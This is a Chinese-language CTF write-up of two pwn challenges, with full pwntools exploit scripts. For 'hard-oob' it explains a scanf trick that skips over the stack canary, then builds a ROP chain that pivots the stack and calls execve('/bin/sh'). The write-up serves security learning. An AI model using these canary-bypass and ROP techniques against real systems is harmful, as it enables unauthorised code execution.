0x00

老乡鸡CTF,奇妙的组合,遂打来玩玩

0x01 bad-with-numbers

没啥好说的,过于简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "challenge.cyclens.tech"
port = 30100
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# pwn :)

payload = b'0\x00' + b'\x00'*0x30
io.send(payload + b'\n')

io.interactive()

0x02 hard-oob

1
2
3
4
5
6
7
8
9
10
11
int __fastcall main(int argc, const char **argv, const char **envp)
{
setup();
puts("Very well then lets learn to input a string but length matters? Nah");
puts("Here goes the string");
read(0LL, &buf_0, 216LL);
getInt();
close(1LL);
close(2LL);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 getInt()
{
int v0; // ecx
int v1; // r8d
int v2; // r9d
char v4; // [rsp+0h] [rbp-40h]
int i; // [rsp+8h] [rbp-38h]
unsigned int v6; // [rsp+Ch] [rbp-34h]
_DWORD v7[10]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v8; // [rsp+38h] [rbp-8h]

v8 = __readfsqword(0x28u);
puts("Give some space for the array to fit in the stack\nEnter the integers for now... \n");
for ( i = 0; i <= 17; ++i )
_isoc99_scanf((unsigned int)"%d", (unsigned int)&v7[i], 4 * i, v0, v1, v2, v4);
return v6;
}

静态链接,明显的栈溢出;有canary
这里 canary的绕过确实卡了我一会,没有leak的方法,但检索到了一个关于scanf绕过canary的小trick:https://ir0nstone.gitbook.io/notes/misc/scanf-bypasses
scanf%d/%ld读取时,输入一个负号-可以使其不改变内存直接跳过本次读取,可以用于跳过canary,同理%f/%lf可以使用小数点.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "challenge.cyclens.tech"
port = 30640
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b *0x401e90
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# pwn :)

#0x00000000004012e3 : syscall
#0x0000000000451d37 : pop rax ; ret
#0x00000000004018ea : pop rdi ; ret
#0x000000000040f34e : pop rsi ; ret
#0x00000000004017ef : pop rdx ; ret
#0x0000000000401e90 : leave ; ret

pop_rax_ret = 0x451d37
pop_rdi_ret = 0x4018ea
pop_rsi_ret = 0x40f34e
pop_rdx_ret = 0x4017ef
ret = pop_rdi_ret + 1
leave_ret = 0x401e90
syscall = 0x4012e3

ropchain = b'/bin/sh\x00' + p64(pop_rax_ret) + p64(59) +\
p64(pop_rdi_ret) + p64(0x4e2320) + p64(pop_rsi_ret) +\
p64(0) + p64(pop_rdx_ret) + p64(0) + p64(syscall)
ropchain = ropchain.ljust(216, b'\x00')

io.recvuntil(b'string')
io.send(ropchain)

io.recvuntil(b'... \n')
for _ in range(12):
io.send(b'-\n')

io.send(str(0x4e2320).encode() + b'\n')
io.send(b'0\n')
io.send(str(leave_ret).encode() + b'\n')
io.send(b'0\n')
io.send(b'0\n')
io.send(b'0\n')

io.interactive()